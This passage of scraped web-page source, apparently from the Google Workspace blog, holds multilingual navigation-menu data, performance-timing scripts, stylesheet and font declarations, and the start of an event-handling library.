機械学習\",\"/blog/ja/ai-machine-learning\"],[\"生産性とコラボレーション\",\"/blog/ja/productivity-collaboration\"],[\"アイデンティティとセキュリティ\",\"/blog/ja/identity-and-security\"],[\"未来の働き方\",\"/blog/ja/future-of-work\"],[\"ハイブリッドな働き方\",\"/blog/ja/hybrid-work\"],[\"顧客事例\",\"/blog/ja/customer-stories\"],[\"デベロッパー\",\"/blog/ja/developers-practitioners\"],[\"パートナー\",\"/blog/ja/partners\"],[\"イベント\",\"/blog/ja/events\"],[\"公共部門\",\"/blog/ja/public-sector\"]]]],[\"製品ニュース\",null,[[[\"Gmail\",\"/blog/ja/gmail\"],[\"Meet\",\"/blog/ja/meet\"],[\"Chat and Spaces\",\"/blog/ja/chat-spaces\"],[\"ドライブ\",\"/blog/ja/drive\"],[\"ドキュメント\",\"/blog/ja/docs\"],[\"スプレッドシート\",\"/blog/ja/sheets\"]]]]]]],[\"ko\",[[[\"주제\",null,[[[\"제품 업데이트\",\"/blog/ko/product-announcements\"],[\"AI 및 머신러닝\",\"/blog/ko/ai-machine-learning\"],[\"생산성 및 공동작업\",\"/blog/ko/productivity-collaboration\"],[\"인증 및 보안 \",\"/blog/ko/identity-and-security\"],[\"Future of Work\",\"/blog/ko/future-of-work\"],[\"하이브리드 업무\",\"/blog/ko/hybrid-work\"],[\"고객 사례\",\"/blog/ko/customer-stories\"],[\"개발자\",\"/blog/ko/developers-practitioners\"],[\"파트너\",\"/blog/ko/partners\"],[\"이벤트\",\"/blog/ko/events\"],[\"공공부문\",\"/blog/ko/public-sector\"]]]],[\"제품 소식\",null,[[[\"Gmail\",\"/blog/ko/gmail\"],[\"Meet\",\"/blog/ko/meet\"],[\"Chat 및 Spaces\",\"/blog/ko/chat-spaces\"],[\"Drive\",\"/blog/ko/drive\"],[\"Docs\",\"/blog/ko/docs\"],[\"Sheets\",\"/blog/ko/sheets\"]]]]]]]],null,[[\"de\",[[[[[\"Enthaltene Anwendungen\",\"https://workspace.google.com/intl/de/features/\",[[[\"Gmail\",\"https://workspace.google.com/intl/de/products/gmail/\"],[\"Meet\",\"https://workspace.google.com/intl/de/products/meet/\"],[\"Chat\",\"https://workspace.google.com/intl/de/products/chat/\"],[\"Kalender\",\"https://workspace.google.com/intl/de/products/calendar/\"],[\"Drive\",\"https://workspace.google.com/intl/de/products/drive/\"],[\"Docs\",\"https://workspace.google.com/intl/de/products/docs/\"],[\"Tabellen\",\"https://workspace.google.com/intl/de/products/sheets/\"],[\"Präsentationen\",\"https://workspace.google.com/intl/de/products/slides/\"],[\"Formulare\",\"https://workspace.google.com/intl/de/products/forms/\"],[\"Sites\",\"https://workspace.google.com/intl/de/products/sites/\"],[\"Notizen\",\"https://workspace.google.com/intl/de/products/keep/\"],[\"Apps Script\",\"https://workspace.google.com/intl/de/products/apps-script/\"]]]]]],[[[\"Sicherheit und Verwaltung\",\"https://workspace.google.com/intl/de/security/\",[[[\"Admin\",\"https://workspace.google.com/intl/de/products/admin/\"],[\"Endpunkt\",\"https://workspace.google.com/intl/de/products/admin/endpoint/\"],[\"Vault\",\"https://workspace.google.com/intl/de/products/vault/\"],[\"Work Insights\",\"https://workspace.google.com/intl/de/products/workinsights/\"]]]],[\"Lösungen\",\"https://workspace.google.com/intl/de/solutions/\",[[[\"Neue Unternehmen\",\"https://workspace.google.com/intl/de/business/new-business/\"],[\"Kleine Unternehmen\",\"https://workspace.google.com/intl/de/business/small-business/\"],[\"Große Unternehmen\",\"https://workspace.google.com/intl/de/solutions/enterprise/\"],[\"Education\",\"https://edu.google.com/products/workspace-for-education/education-fundamentals/\"],[\"Nonprofit-Organisationen\",\"https://www.google.com/nonprofits/\"]]]]]],[[[\"Preise\",\"https://workspace.google.com/intl/de/pricing.html\",[[[\"Version auswählen\",\"https://workspace.google.com/intl/de/pricing.html\"]]]],[\"Add-ons\",null,[[[\"Gemini für Workspace\",\"https://workspace.google.com/solutions/ai/\"],[\"Google Voice\",\"https://workspace.google.com/intl/de/products/voice/\"],[\"AppSheet\",\"https://about.appsheet.com/home/\"]]]]]],[[[\"Ressourcen\",\"https://workspace.google.com/intl/de/faq/\",[[[\"Telearbeit\",\"https://workspace.google.com/intl/de/working-remotely/\"],[\"Sicherheit\",\"https://workspace.google.com/intl/de/security/\"],[\"FAQ\",\"https://workspace.google.com/intl/de/faq/\"],[\"Partner\",\"https://cloud.withgoogle.com/partners/?products\\u003dGOOGLE_WORKSPACE_PRODUCT\"],[\"Google Workspace Marketplace\",\"https://workspace.google.com/marketplace/\"],[\"Integrationen\",\"https://workspace.google.com/intl/de/integrations/\"],[\"Schulung \\u0026 Zertifizierung\",\"https://workspace.google.com/intl/de/training/\"]]]]]],[[[\"Schulung und Support\",\"https://workspace.google.com/intl/de/support/\",[[[\"Admin-Hilfe\",\"https://support.google.com/a/#topic\\u003d29157\"],[\"Einrichtungs- und Bereitstellungscenter\",\"https://workspace.google.com/setup/?hl\\u003dde\"],[\"Schulungscenter für Nutzer\",\"https://workspace.google.com/intl/de/learning-center/\"],[\"Foren für Administratoren\",\"https://productforums.google.com/forum/#!forum/apps\"],[\"Google Workspace-Dashboard\",\"https://www.google.com/appsstatus\"],[\"Presse\",\"https://cloud.google.com/press/\"]]]],[\"Mehr von Google\",null,[[[\"Google Cloud\",\"https://cloud.google.com/?hl\\u003dde\"],[\"Chrome Enterprise\",\"https://chromeenterprise.google/\"],[\"Google Lösungen für Unternehmen\",\"https://www.google.com/intl/de/services/\"],[\"Google Ads\",\"https://ads.google.com/home/?subid\\u003dde-de-xs-aw-z-a-dyn-accounts_wsft!o3\"],[\"Business Messages\",\"https://businessmessages.google/\"],[\"An Nutzerstudien teilnehmen\",\"https://userresearch.google.com/?reserved\\u003d0\\u0026utm_source\\u003dgsuite.google.com\\u0026Q_Language\\u003den\\u0026utm_medium\\u003down_srch\\u0026utm_campaign\\u003dGlobal-GSuite\\u0026utm_term\\u003d0\\u0026utm_content\\u003d0\\u0026productTag\\u003dgafw\\u0026campaignDate\\u003dnov18\\u0026pType\\u003dbprof\\u0026referral_code\\u003dug422768\"]]]]]]]]],[\"en\",[[[[[\"Included applications\",\"https://workspace.google.com/features/\",[[[\"Gmail\",\"https://workspace.google.com/products/gmail/\"],[\"Meet\",\"https://workspace.google.com/products/meet/\"],[\"Chat\",\"https://workspace.google.com/products/chat/\"],[\"Calendar\",\"https://workspace.google.com/products/calendar/\"],[\"Drive\",\"https://workspace.google.com/products/drive/\"],[\"Docs\",\"https://workspace.google.com/products/docs/\"],[\"Sheets\",\"https://workspace.google.com/products/sheets/\"],[\"Slides\",\"https://workspace.google.com/products/slides/\"],[\"Forms\",\"https://workspace.google.com/products/forms/\"],[\"Sites\",\"https://workspace.google.com/products/sites/\"],[\"Keep\",\"https://workspace.google.com/products/keep/\"],[\"Apps Script\",\"https://workspace.google.com/products/apps-script/\"]]]]]],[[[\"Security and management\",\"https://workspace.google.com/security/\",[[[\"Admin\",\"https://workspace.google.com/products/admin/\"],[\"Endpoint\",\"https://workspace.google.com/products/admin/endpoint/\"],[\"Vault\",\"https://workspace.google.com/products/vault/\"],[\"Work Insights\",\"https://workspace.google.com/products/workinsights/\"]]]],[\"Solutions\",\"https://workspace.google.com/solutions/\",[[[\"New Business\",\"https://workspace.google.com/business/new-business/\"],[\"Small Business\",\"https://workspace.google.com/business/small-business/\"],[\"Enterprise\",\"https://workspace.google.com/solutions/enterprise/\"],[\"Retail\",\"https://workspace.google.com/industries/retail/\"],[\"Manufacturing\",\"https://workspace.google.com/industries/manufacturing/\"],[\"Professional Services\",\"https://workspace.google.com/industries/professional-services/\"],[\"Technology\",\"https://workspace.google.com/industries/technology/\"],[\"Healthcare\",\"https://workspace.google.com/industries/healthcare/\"],[\"Government\",\"https://workspace.google.com/industries/government/\"],[\"Education\",\"https://edu.google.com/products/workspace-for-education/education-fundamentals/\"],[\"Nonprofits\",\"https://www.google.com/nonprofits/\"],[\"Artificial Intelligence\",\"https://workspace.google.com/solutions/ai/\"]]]]]],[[[\"Pricing\",\"https://workspace.google.com/pricing.html\",[[[\"Compare pricing plans\",\"https://workspace.google.com/pricing.html\"]]]],[\"Add-ons\",null,[[[\"Gemini for Workspace\",\"https://workspace.google.com/solutions/ai/\"],[\"Meet hardware\",\"https://workspace.google.com/products/meet-hardware/\"],[\"Google Voice\",\"https://workspace.google.com/products/voice/\"],[\"AppSheet\",\"https://about.appsheet.com/home/\"]]]]]],[[[\"Resources\",\"https://workspace.google.com/faq/\",[[[\"Working remotely\",\"https://workspace.google.com/working-remotely/\"],[\"Security\",\"https://workspace.google.com/security/\"],[\"Customer Stories\",\"https://workspace.google.com/customers/\"],[\"FAQs\",\"https://workspace.google.com/faq/\"],[\"Partners\",\"https://cloud.withgoogle.com/partners/?products\\u003dGOOGLE_WORKSPACE_PRODUCT\"],[\"Marketplace\",\"https://workspace.google.com/marketplace/\"],[\"Integrations\",\"https://workspace.google.com/integrations/\"],[\"Training \\u0026 Certification\",\"https://workspace.google.com/training/\"],[\"Refer Google Workspace\",\"https://workspace.google.com/landing/partners/referral/\"]]]]]],[[[\"Learning and support\",\"https://workspace.google.com/support/\",[[[\"Admin Help\",\"https://support.google.com/a/#topic\\u003d29157\"],[\"Setup and Deployment Center\",\"https://workspace.google.com/setup\"],[\"Learning Center for Users\",\"https://workspace.google.com/learning-center/\"],[\"Forums for Admins\",\"https://productforums.google.com/forum/#!forum/apps\"],[\"Google Workspace Dashboard\",\"https://www.google.com/appsstatus\"],[\"What\u0027s New in Google Workspace\",\"https://workspace.google.com/whatsnew/\"],[\"Find a Google Workspace Partner\",\"https://www.google.com/a/partnersearch/\"],[\"Join the community of IT Admins\",\"https://www.googlecloudcommunity.com/gc/Google-Workspace/ct-p/google-workspace\"],[\"Press\",\"https://cloud.google.com/press/\"]]]],[\"More from Google\",null,[[[\"Google Cloud\",\"https://cloud.google.com/\"],[\"Google Domains\",\"https://domains.google.com/about/?utm_source\\u003dgoogleappsforwork\\u0026utm_medium\\u003dreferral\\u0026utm_campaign\\u003dgooglepromos\"],[\"Chrome Enterprise\",\"https://chromeenterprise.google/\"],[\"Google Business Solutions\",\"https://www.google.com/services/\"],[\"Google Ads\",\"https://ads.google.com/home/?subid\\u003dus-en-xs-aw-z-a-dyn-accounts_wsft!o3\"],[\"Business Messages\",\"https://businessmessages.google/\"],[\"Join User Studies\",\"https://userresearch.google.com/?reserved\\u003d0\\u0026utm_source\\u003dgsuite.google.com\\u0026Q_Language\\u003den\\u0026utm_medium\\u003down_srch\\u0026utm_campaign\\u003dGlobal-GSuite\\u0026utm_term\\u003d0\\u0026utm_content\\u003d0\\u0026productTag\\u003dgafw\\u0026campaignDate\\u003dnov18\\u0026pType\\u003dbprof\\u0026referral_code\\u003dug422768\"]]]]]]]]],[\"fr\",[[[[[\"Enthaltene Anwendungen\",\"https://workspace.google.com/intl/fr/features/\",[[[\"Gmail\",\"https://workspace.google.com/intl/fr/products/gmail/\"],[\"Meet\",\"https://workspace.google.com/intl/fr/products/meet/\"],[\"Chat\",\"https://workspace.google.com/intl/fr/products/chat/\"],[\"Google Agenda\",\"https://workspace.google.com/intl/fr/products/calendar/\"],[\"Drive\",\"https://workspace.google.com/intl/fr/products/drive/\"],[\"Docs\",\"https://workspace.google.com/intl/fr/products/docs/\"],[\"Sheets\",\"https://workspace.google.com/intl/fr/products/sheets/\"],[\"Slides\",\"https://workspace.google.com/intl/fr/products/slides/\"],[\"Forms\",\"https://workspace.google.com/intl/fr/products/forms/\"],[\"Google Sites\",\"https://workspace.google.com/intl/fr/products/sites/\"],[\"Keep\",\"https://workspace.google.com/intl/fr/products/keep/\"],[\"Apps Script\",\"https://workspace.google.com/intl/fr/products/apps-script/\"]]]]]],[[[\"Sécurité et gestion\",\"https://workspace.google.com/intl/fr/security/\",[[[\"Console d\u0027administration\",\"https://workspace.google.com/intl/fr/products/admin/\"],[\"Point de terminaison\",\"https://workspace.google.com/intl/fr/products/admin/endpoint/\"],[\"Vault\",\"https://workspace.google.com/intl/fr/products/vault/\"],[\"Work Insights\",\"https://workspace.google.com/intl/fr/products/workinsights/\"]]]],[\"Solutions\",\"https://workspace.google.com/intl/fr/solutions/\",[[[\"Nouvelle entreprise\",\"https://workspace.google.com/intl/fr/business/new-business/\"],[\"PME\",\"https://workspace.google.com/intl/fr/business/small-business/\"],[\"Grande entreprise\",\"https://workspace.google.com/intl/fr/solutions/enterprise/\"],[\"Education\",\"https://edu.google.com/products/workspace-for-education/education-fundamentals/\"],[\"Associations\",\"https://www.google.com/nonprofits/\"]]]]]],[[[\"Tarifs\",\"https://workspace.google.com/intl/fr/pricing.html\",[[[\"Choisissez une édition\",\"https://workspace.google.com/intl/fr/pricing.html\"]]]],[\"Add-ons\",null,[[[\"Gemini pour Workspace\",\"https://workspace.google.com/solutions/ai/\"],[\"Matériel Meet\",\"https://workspace.google.com/intl/fr/products/meet-hardware/\"],[\"Google Voice\",\"https://workspace.google.com/intl/fr/products/voice/\"],[\"AppSheet\",\"https://about.appsheet.com/home/\"]]]]]],[[[\"Ressources\",\"https://workspace.google.com/intl/fr/faq/\",[[[\"Travail à distance\",\"https://workspace.google.com/intl/fr/working-remotely/\"],[\"Sécurité\",\"https://workspace.google.com/intl/fr/security/\"],[\"Questions fréquentes\",\"https://workspace.google.com/intl/fr/faq/\"],[\"Partenaires\",\"https://cloud.withgoogle.com/partners/?products\\u003dGOOGLE_WORKSPACE_PRODUCT\"],[\"Marketplace\",\"https://workspace.google.com/marketplace/\"],[\"Intégrations\",\"https://workspace.google.com/intl/fr/integrations/\"],[\"Formation et certification\",\"https://workspace.google.com/intl/fr/training/\"]]]]]],[[[\"Formation et assistance\",\"https://workspace.google.com/intl/fr/support/\",[[[\"Aide pour les administrateurs\",\"https://support.google.com/a/#topic\\u003d29157\"],[\"Centre de configuration et de déploiement\",\"https://workspace.google.com/setup/?hl\\u003dfr\"],[\"Centre de formation pour les utilisateurs\",\"https://workspace.google.com/intl/fr/learning-center/\"],[\"Forums pour les administrateurs\",\"https://productforums.google.com/forum/#!forum/apps\"],[\"Tableau de bord Google Workspace\",\"https://www.google.com/appsstatus#hl\\u003dfr\"],[\"Rechercher un partenaire Google Workspace\",\"https://www.google.com/a/partnersearch/?hl\\u003dfr#home\"],[\"Presse\",\"https://cloud.google.com/press/\"]]]],[\"Autres ressources Google\",null,[[[\"Google Cloud\",\"https://cloud.google.com/?hl\\u003dfr\"],[\"Chrome Enterprise\",\"https://chromeenterprise.google/\"],[\"Solutions d\u0027entreprise Google\",\"https://www.google.com/intl/fr/services/\"],[\"Google pour les Pros\",\"https://pourlespros.withgoogle.com/?utm_source\\u003dEngagement\\u0026utm_medium\\u003dep\\u0026utm_term\\u003dSMB\\u0026utm_content\\u003dFR%20Apps%20for%20work%20footert\\u0026utm_campaign\\u003dQ4_2015%20FR%20Apps%20for%20work%20footer\"],[\"Google Ads\",\"https://ads.google.com/home/?subid\\u003dfr-fr-xs-aw-z-a-dyn-accounts_wsft!o3\"],[\"Business Messages\",\"https://businessmessages.google/\"],[\"Participer aux études sur l\u0027expérience utilisateur\",\"https://userresearch.google.com/?reserved\\u003d0\\u0026utm_source\\u003dgsuite.google.com\\u0026Q_Language\\u003den\\u0026utm_medium\\u003down_srch\\u0026utm_campaign\\u003dGlobal-GSuite\\u0026utm_term\\u003d0\\u0026utm_content\\u003d0\\u0026productTag\\u003dgafw\\u0026campaignDate\\u003dnov18\\u0026pType\\u003dbprof\\u0026referral_code\\u003dug422768\"]]]]]]]]],[\"ja\",[[[[[\"ご利用いただけるアプリケーション\",\"https://workspace.google.com/intl/ja/features/\",[[[\"Gmail\",\"https://workspace.google.com/intl/ja/products/gmail/\"],[\"Meet\",\"https://workspace.google.com/intl/ja/products/meet/\"],[\"Chat\",\"https://workspace.google.com/intl/ja/products/chat/\"],[\"カレンダー\",\"https://workspace.google.com/intl/ja/products/calendar/\"],[\"ドライブ\",\"https://workspace.google.com/intl/ja/products/drive/\"],[\"ドキュメント\",\"https://workspace.google.com/intl/ja/products/docs/\"],[\"スプレッドシート\",\"https://workspace.google.com/intl/ja/products/sheets/\"],[\"スライド\",\"https://workspace.google.com/intl/ja/products/slides/\"],[\"フォーム\",\"https://workspace.google.com/intl/ja/products/forms/\"],[\"サイト\",\"https://workspace.google.com/intl/ja/products/sites/\"],[\"Keep\",\"https://workspace.google.com/intl/ja/products/keep/\"],[\"Apps Script\",\"https://workspace.google.com/intl/ja/products/apps-script/\"]]]]]],[[[\"セキュリティと管理\",\"https://workspace.google.com/intl/ja/security/\",[[[\"管理コンソール\",\"https://workspace.google.com/intl/ja/products/admin/\"],[\"エンドポイント\",\"https://workspace.google.com/intl/ja/products/admin/endpoint/\"],[\"Vault\",\"https://workspace.google.com/intl/ja/products/vault/\"],[\"Work Insights\",\"https://workspace.google.com/intl/ja/products/workinsights/\"]]]],[\"ソリューション\",\"https://workspace.google.com/intl/ja/solutions/\",[[[\"新規ビジネス\",\"https://workspace.google.com/intl/ja/business/new-business/\"],[\"小規模ビジネス\",\"https://workspace.google.com/intl/ja/business/small-business/\"],[\"大規模ビジネス\",\"https://workspace.google.com/intl/ja/solutions/enterprise/\"],[\"Education\",\"https://edu.google.com/intl/ja/products/workspace-for-education/education-fundamentals/\"],[\"非営利団体\",\"https://www.google.com/intl/ja/nonprofits/\"]]]]]],[[[\"料金\",\"https://workspace.google.com/intl/ja/pricing.html\",[[[\"エディションを選ぶ\",\"https://workspace.google.com/intl/ja/pricing.html\"]]]],[\"Add-ons\",null,[[[\"Gemini for Workspace\",\"https://workspace.google.com/solutions/ai/\"],[\"Meet ハードウェア\",\"https://workspace.google.com/intl/ja/products/meet-hardware/\"],[\"AppSheet\",\"https://about.appsheet.com/home/\"]]]]]],[[[\"関連情報\",\"https://workspace.google.com/intl/ja/faq/\",[[[\"リモートワーク\",\"https://workspace.google.com/intl/ja/working-remotely/\"],[\"セキュリティ\",\"https://workspace.google.com/intl/ja/security/\"],[\"事例紹介\",\"https://workspace.google.com/intl/ja/customers/\"],[\"よくある質問\",\"https://workspace.google.com/intl/ja/faq/\"],[\"パートナー\",\"https://cloud.withgoogle.com/partners/?products\\u003dGOOGLE_WORKSPACE_PRODUCT\"],[\"Marketplace\",\"https://workspace.google.com/intl/ja/marketplace/\"],[\"統合\",\"https://workspace.google.com/intl/ja/integrations/\"],[\"トレーニングと認定資格\",\"https://workspace.google.com/intl/ja/training/\"]]]]]],[[[\"学習とサポート\",\"https://workspace.google.com/intl/ja/support/\",[[[\"管理者用ヘルプ\",\"https://support.google.com/a/#topic\\u003d29157\"],[\"設定と導入のガイド\",\"https://workspace.google.com/setup/?hl\\u003dja\"],[\"ユーザー向けラーニング センター\",\"https://workspace.google.com/intl/ja/learning-center/\"],[\"管理者向けフォーラム\",\"https://productforums.google.com/forum/#!forum/apps\"],[\"Google Workspace ステータス ダッシュボード\",\"https://www.google.com/appsstatus#hl\\u003dja\"],[\"Google Workspace パートナーを探す\",\"https://www.google.com/a/partnersearch/?hl\\u003dja#home\"],[\"プレスリリース\",\"https://cloud.google.com/press/?hl\\u003dja\"]]]],[\"その他の Google サービス\",null,[[[\"Google Cloud\",\"https://cloud.google.com/?hl\\u003dja\"],[\"Chrome Enterprise\",\"https://chromeenterprise.google/\"],[\"Google ビジネス ソリューション\",\"https://www.google.com/intl/ja/services/\"],[\"Google 広告\",\"https://ads.google.com/home/?subid\\u003dja-ja-xs-aw-z-a-dyn-accounts_wsft!o3\"],[\"Business Messages\",\"https://businessmessages.google/\"],[\"ユーザー調査に参加する\",\"https://userresearch.google.com/?reserved\\u003d0\\u0026utm_source\\u003dgsuite.google.com\\u0026Q_Language\\u003den\\u0026utm_medium\\u003down_srch\\u0026utm_campaign\\u003dGlobal-GSuite\\u0026utm_term\\u003d0\\u0026utm_content\\u003d0\\u0026productTag\\u003dgafw\\u0026campaignDate\\u003dnov18\\u0026pType\\u003dbprof\\u0026referral_code\\u003dug422768\"]]]]]]]]],[\"ko\",[[[[[\"포함된 애플리케이션\",\"https://workspace.google.com/intl/ko/features/\",[[[\"Gmail\",\"https://workspace.google.com/intl/ko/products/gmail/\"],[\"Meet\",\"https://workspace.google.com/intl/ko/products/meet/\"],[\"Chat\",\"https://workspace.google.com/intl/ko/products/chat/\"],[\"Calendar\",\"https://workspace.google.com/intl/ko/products/calendar/\"],[\"Drive\",\"https://workspace.google.com/intl/ko/products/drive/\"],[\"Docs\",\"https://workspace.google.com/intl/ko/products/docs/\"],[\"Sheets\",\"https://workspace.google.com/intl/ko/products/sheets/\"],[\"Slides\",\"https://workspace.google.com/intl/ko/products/slides/\"],[\"설문지\",\"https://workspace.google.com/intl/ko/products/forms/\"],[\"사이트 도구\",\"https://workspace.google.com/intl/ko/products/sites/\"],[\"Keep\",\"https://workspace.google.com/intl/ko/products/keep/\"],[\"Apps Script\",\"https://workspace.google.com/intl/ko/products/apps-script/\"]]]]]],[[[\"보안 및 관리\",\"https://workspace.google.com/intl/ko/security/\",[[[\"관리\",\"https://workspace.google.com/intl/ko/products/admin/\"],[\"엔드포인트\",\"https://workspace.google.com/intl/ko/products/admin/endpoint/\"],[\"Vault\",\"https://workspace.google.com/intl/ko/products/vault/\"],[\"Work Insights\",\"https://workspace.google.com/intl/ko/products/workinsights/\"]]]],[\"솔루션\",\"https://workspace.google.com/intl/ko/solutions/\",[[[\"신규 업체\",\"https://workspace.google.com/intl/ko/business/new-business/\"],[\"중소기업\",\"https://workspace.google.com/intl/ko/business/small-business/\"],[\"엔터프라이즈\",\"https://workspace.google.com/intl/ko/solutions/enterprise/\"],[\"Education\",\"https://edu.google.com/products/workspace-for-education/education-fundamentals/\"],[\"비영리단체\",\"https://www.google.com/nonprofits/\"]]]]]],[[[\"가격\",\"https://workspace.google.com/intl/ko/pricing.html\",[[[\"버전 선택\",\"https://workspace.google.com/intl/ko/pricing.html\"]]]],[\"Add-ons\",null,[[[\"Workspace를 위한 Gemini\",\"https://workspace.google.com/solutions/ai/\"],[\"AppSheet\",\"https://about.appsheet.com/home/\"]]]]]],[[[\"리소스\",\"https://workspace.google.com/intl/ko/faq/\",[[[\"원격 근무\",\"https://workspace.google.com/intl/ko/working-remotely/\"],[\"보안\",\"https://workspace.google.com/intl/ko/security/\"],[\"FAQ\",\"https://workspace.google.com/intl/ko/faq/\"],[\"파트너\",\"https://cloud.withgoogle.com/partners/?products\\u003dGOOGLE_WORKSPACE_PRODUCT\"],[\"Marketplace\",\"https://workspace.google.com/intl/ko/marketplace/\"],[\"통합\",\"https://workspace.google.com/intl/ko/integrations/\"],[\"교육 및 인증\",\"https://workspace.google.com/intl/ko/training/\"]]]]]],[[[\"학습 및 지원\",\"https://workspace.google.com/intl/ko/support/\",[[[\"관리자 도움말\",\"https://support.google.com/a/#topic\\u003d29157\"],[\"설치 및 배포 센터\",\"https://workspace.google.com/setup/?hl\\u003dko\"],[\"사용자를 위한 학습 센터\",\"https://workspace.google.com/intl/ko/learning-center/\"],[\"관리자 포럼\",\"https://productforums.google.com/forum/#!forum/apps\"],[\"Google Workspace 대시보드\",\"https://www.google.com/appsstatus#hl\\u003dko\"],[\"Google Workspace 파트너 찾기\",\"https://www.google.com/a/partnersearch/?hl\\u003dko#home\"],[\"보도자료\",\"https://cloud.google.com/press/\"]]]],[\"Google의 다른 제품\",null,[[[\"Google Cloud\",\"https://cloud.google.com/?hl\\u003dko\"],[\"Chrome Enterprise\",\"https://chromeenterprise.google/\"],[\"Google 비즈니스 솔루션\",\"https://www.google.com/intl/ko_kr/business/\"],[\"Google Ads\",\"https://ads.google.com/home/?subid\\u003dkr-ko-xs-aw-z-a-dyn-accounts_wsft!o3\"],[\"Business Messages\",\"https://businessmessages.google/\"],[\"사용자 연구 참여\",\"https://userresearch.google.com/?reserved\\u003d0\\u0026utm_source\\u003dgsuite.google.com\\u0026Q_Language\\u003den\\u0026utm_medium\\u003down_srch\\u0026utm_campaign\\u003dGlobal-GSuite\\u0026utm_term\\u003d0\\u0026utm_content\\u003d0\\u0026productTag\\u003dgafw\\u0026campaignDate\\u003dnov18\\u0026pType\\u003dbprof\\u0026referral_code\\u003dug422768\"]]]]]]]]]]]","w2btAe":"%.@.null,null,\"\",false,null,null,true,false]","xn5OId":false,"xnI9P":true,"xwAfE":true,"y2FhP":"prod","yFnxrf":1884,"zChJod":"%.@.]"};</script><script nonce="Lh9XRrNZbyI2TSQR0nTTVQ">(function(){'use strict';var a=window,d=a.performance,l=k();a.cc_latency_start_time=d&&d.now?0:d&&d.timing&&d.timing.navigationStart?d.timing.navigationStart:l;function k(){return d&&d.now?d.now():(new Date).getTime()}function n(e){if(d&&d.now&&d.mark){var g=d.mark(e);if(g)return g.startTime;if(d.getEntriesByName&&(e=d.getEntriesByName(e).pop()))return e.startTime}return k()}a.onaft=function(){n("aft")};a._isLazyImage=function(e){return e.hasAttribute("data-src")||e.hasAttribute("data-ils")||e.getAttribute("loading")==="lazy"}; a.l=function(e){function g(b){var c={};c[b]=k();a.cc_latency.push(c)}function m(b){var c=n("iml");b.setAttribute("data-iml",c);return c}a.cc_aid=e;a.iml_start=a.cc_latency_start_time;a.css_size=0;a.cc_latency=[];a.ccTick=g;a.onJsLoad=function(){g("jsl")};a.onCssLoad=function(){g("cssl")};a._isVisible=function(b,c){if(!c||c.style.display=="none")return!1;var f=b.defaultView;if(f&&f.getComputedStyle&&(f=f.getComputedStyle(c),f.height=="0px"||f.width=="0px"||f.visibility=="hidden"))return!1;if(!c.getBoundingClientRect)return!0; var h=c.getBoundingClientRect();c=h.left+a.pageXOffset;f=h.top+a.pageYOffset;if(f+h.height<0||c+h.width<0||h.height<=0||h.width<=0)return!1;b=b.documentElement;return f<=(a.innerHeight||b.clientHeight)&&c<=(a.innerWidth||b.clientWidth)};a._recordImlEl=m;document.documentElement.addEventListener("load",function(b){b=b.target;var c;b.tagName!="IMG"||b.hasAttribute("data-iid")||a._isLazyImage(b)||b.hasAttribute("data-noaft")||(c=m(b));if(a.aft_counter&&(b=a.aft_counter.indexOf(b),b!==-1&&(b=a.aft_counter.splice(b, 1).length===1,a.aft_counter.length===0&&b&&c)))a.onaft(c)},!0);a.prt=-1;a.wiz_tick=function(){var b=n("prt");a.prt=b}};}).call(this); l('DK1zsb')</script><script nonce="Lh9XRrNZbyI2TSQR0nTTVQ">var _F_cssRowKey = 'boq-cloudx-web-blog.TransformBlogUi.E9TWb9TIDyM.L.X.O';var _F_combinedSignature = 'AHrnUqUqrdvVEzHMOyBvKKFFvf9KKnLF2g';function _DumpException(e) {throw e;}</script><link rel="stylesheet" href="https://www.gstatic.com/_/mss/boq-cloudx-web-blog/_/ss/k=boq-cloudx-web-blog.TransformBlogUi.E9TWb9TIDyM.L.X.O/am=MBgwCw/d=1/ed=1/rs=AHrnUqUf0cxHmisOS8OqDuD6H3C5R8Ff9g/m=articleview,_b,_tp" data-id="_cl" nonce="8BwsqpOd3fXBjO9W2ttHkQ"><script nonce="Lh9XRrNZbyI2TSQR0nTTVQ">onCssLoad();</script><style nonce="8BwsqpOd3fXBjO9W2ttHkQ">@font-face{font-family:'Product Sans';font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVF9eK.eot);}@font-face{font-family:'Google Sans';font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/googlesans/v58/4Ua_rENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RFD48TE63OOYKtrwEIJllpy0.eot);}@font-face{font-family:'Google Sans';font-style:normal;font-weight:500;src:url(https://fonts.gstatic.com/s/googlesans/v58/4Ua_rENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RFD48TE63OOYKtrw2IJllpy0.eot);}@font-face{font-family:'Google Sans';font-style:normal;font-weight:700;src:url(https://fonts.gstatic.com/s/googlesans/v58/4Ua_rENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RFD48TE63OOYKtrzjJ5llpy0.eot);}@font-face{font-family:'Google Sans Display';font-style:normal;font-weight:400;src:url(https://fonts.gstatic.com/s/googlesansdisplay/v13/ea8FacM9Wef3EJPWRrHjgE4B6CnlZxHVDv79pQ.eot);}@font-face{font-family:'Google Sans Display';font-style:normal;font-weight:500;src:url(https://fonts.gstatic.com/s/googlesansdisplay/v13/ea8IacM9Wef3EJPWRrHjgE4B6CnlZxHVBg3etBD7SA.eot);}@font-face{font-family:'Google Sans Display';font-style:normal;font-weight:700;src:url(https://fonts.gstatic.com/s/googlesansdisplay/v13/ea8IacM9Wef3EJPWRrHjgE4B6CnlZxHVBkXYtBD7SA.eot);}</style><script nonce="Lh9XRrNZbyI2TSQR0nTTVQ">(function(){'use strict';function e(){var a=g,b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var l=this||self;/* Copyright 2024 Google, Inc SPDX-License-Identifier: MIT */ var m=["focus","blur","error","load","toggle"];function n(a){return a==="mouseenter"?"mouseover":a==="mouseleave"?"mouseout":a==="pointerenter"?"pointerover":a==="pointerleave"?"pointerout":a};function p(a){this.l={};this.m={};this.i=null;this.g=[];this.o=a}p.prototype.handleEvent=function(a,b,c){q(this,{eventType:a,event:b,targetElement:b.target,eic:c,timeStamp:Date.now(),eia:void 0,eirp:void 0,eiack:void 0})};function q(a,b){if(a.i)a.i(b);else{b.eirp=!0;var c;(c=a.g)==null||c.push(b)}} function r(a,b,c){if(!(b in a.l)&&a.o){var d=function(h,f,B){a.handleEvent(h,f,B)};a.l[b]=d;c=n(c||b);if(c!==b){var 